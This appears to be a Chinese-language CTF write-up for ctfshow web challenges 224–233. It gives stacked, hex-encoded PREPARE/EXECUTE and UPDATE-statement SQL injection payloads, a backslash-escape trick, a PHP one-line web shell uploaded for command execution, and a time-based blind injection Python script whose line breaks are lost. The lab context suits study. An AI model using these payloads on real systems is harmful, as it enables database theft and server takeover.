ctfshow web入门 sql注入 web224--web233

web224

扫描后台，发现robots.txt，访问发现/pwdreset.php ，再访问可以重置密码 ，登录之后发现上传文件
检查发现没有限制诶
上传txt,png,zip发现文件错误了
后面知道群里有个文件能上传

<?= _$GET[1]_?>就是0x3c3f3d60245f4745545b315d603f3e 所以访问1.php执行命令就行了
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这东西好像和sql没关系哇

web225

这道题神似之前的某一道题，闭合之后堆叠注入就行
但是直接在用户名写没有回显，那就传参(先换到注入页面访问/api)
然后

?username=-1';show tables;--+
发现表ctfshow_flagasa
利用handler代替select
?username=-1';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;--+

web226

prepare用于预备一个语句，并赋予名称，以后可以引用该语句
execute执行语句

16进制绕过
-1';PREPARE abcd from 0x73686f772020646174616261736573;execute abcd;#
show databases;-1';PREPARE abcd from 0x73686F77207461626C6573;execute abcd;#
show tables;-1';PREPARE abcd from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute 
abcd;#
select * from ctfsh_ow_flagas

web227

-1';PREPARE a from 0x73686F77207461626C6573;execute a;#
show tables;-1';PREPARE a from 0x73656C656374202A2066726F6D2063746673686F775F75736572;execute a;#
select * from ctfshow_user

但是并没有发现flag
后面发现这里考察SQL存储，使用

SELECT   *   FROM   information_schema.Routines WHERE ROUTINE_NAME  =  'sp_name' ;
ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称

select * from information_schema.Routines
-1';PREPARE a from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E526F7574696E6573;execute a;#

web228

select * from ctfsh_ow_flagasaa
-1';PREPARE a from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161
;execute a;#

web229–web230

原理一样，不过多赘述
16进制转码

web231

updata注入
update 注入

  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";将表名为ctfshow_user 的password更新成我们传入的，当username正确的时候

注入成功

password=-1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=password=-1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=password=-1',username=(select  group_concat(flagas) from flaga)#&username=

web 232

$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

md5直接闭合

password='),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=password='),username=(select  group_concat(column_name) from information_schema.columns where table_name='flagaa')%23&username=1password='),username=(select  group_concat(flagass) from flagaa)%23&username=1

web 233

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
不能传入单引号，不过可以传入\，这就有意思了。

假设我们password传入\，username传入,username=database()#
那么最终构成的语句如下
update ctfshow_user set pass = '\' where username = ',username=database()#'
等价于
执行SQL语句
update ctfshow_user set pass = 'x',username=database()#'

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1password=\&username=,username=(select  group_concat(flagas) from flaga)#&username=1

理论来说应该是有回显的，但是我的一直没有，只能盲注脚本了

"""
Author:Y4tacker
"""
import requestsurl = "http://52405488-688b-4d4e-92ee-34eb3d063698.challenge.ctf.show/api/?page=1&limit=10"result = ""
i = 0while 1:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) >> 1# 查数据库# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"# 查表名# payload = "select column_name from information_schema.columns where table_name='flag233333' limit 1,1"# 查数据payload = "select flagass233 from flag233333"data = {'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",'password': '4'}try:r = requests.post(url, data=data, timeout=0.9)tail = midexcept Exception as e:head = mid + 1if head != 32:result += chr(head)else:breakprint(result)

算了始终有问题我觉得，还是后面再来吧我去学写脚本